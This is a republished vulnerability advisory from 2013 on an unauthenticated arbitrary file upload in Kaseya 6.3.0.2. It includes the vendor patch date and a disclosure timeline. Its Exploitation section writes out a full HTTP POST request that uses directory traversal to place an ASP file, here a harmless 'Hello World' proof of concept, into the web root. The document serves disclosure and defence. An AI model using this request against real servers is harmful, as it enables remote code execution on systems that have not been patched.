Kaseya 6.3.0.2 - Arbitrary File Upload Vulnerability

2013-11-19T00:00:00
ID 1337DAY-ID-21542
Type zdt
Reporter Thomas Hibbert
Modified 2013-11-19T00:00:00

Description

Kaseya version 6.3.0.2 suffers from a remote shell upload vulnerability.

                                        
                                            Kaseya 6.3.0.2 Shell Upload Vulnerability

+-----------+ 
|Description| 
+-----------+ 

Kaseya 6.3 suffers from an Arbitrary File Upload vulnerability that can be leveraged to gain remote code 
execution on the Kaseya server. The code executed in this way will run with a local IUSR account’s privileges. 
The vulnerability lies within the /SystemTab/UploadImage.asp file. This file constructs a file object on disk using user input, without first checking if the user is authenticated or if input is valid. The application preserves the file name and extension of the upload, and allows an attacker to traverse from the default destination directory. 
Directory traversal is not necessary to gain code execution however, as the default path lies within the 
application’s web-root. 


+------------+ 
|Exploitation| 
+------------+ 

POST /SystemTab/uploadImage.asp?filename=..\..\..\..\test.asp HTTP/1.1 
Host: <host> 
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0 
FirePHP/0.7.2 
Referer: http://<host>/SystemTab/uploadImage.asp 
Cookie: ASPSESSIONIDQATSBAQC=<valid session>; 
Connection: keep-alive 
Content-Type: multipart/form-data; boundary=---------------------------
19172947220212 
Content-Length: 89 
 
-----------------------------19172947220212 
Content-Disposition: form-data; name="uploadFile"; filename="test.asp" 
Content-Type: application/octet-stream 
 
<!DOCTYPE html> 
<html> 
<body> 
<% 
response.write("Hello World!") 
%> 
</body> 
</html> 
 
-----------------------------19172947220212--

+-----+ 
| Fix | 
+-----+ 

Install the patch released by the vendor on the 12th of November 2013.

+-------------------+ 
|Disclosure Timeline| 
+-------------------+ 

9/10/2013 Bug discovered, vendor contacted 
20/10/2013 Vendor responds with email address for security contact. Advisory sent to security contact. 
30/10/2013 Vendor advises that patch for the reported issue is to be included in next patch cycle. 
12/11/2013 Patch released. 
18/11/2013 Advisory publically released.

#  0day.today [2018-01-05]  #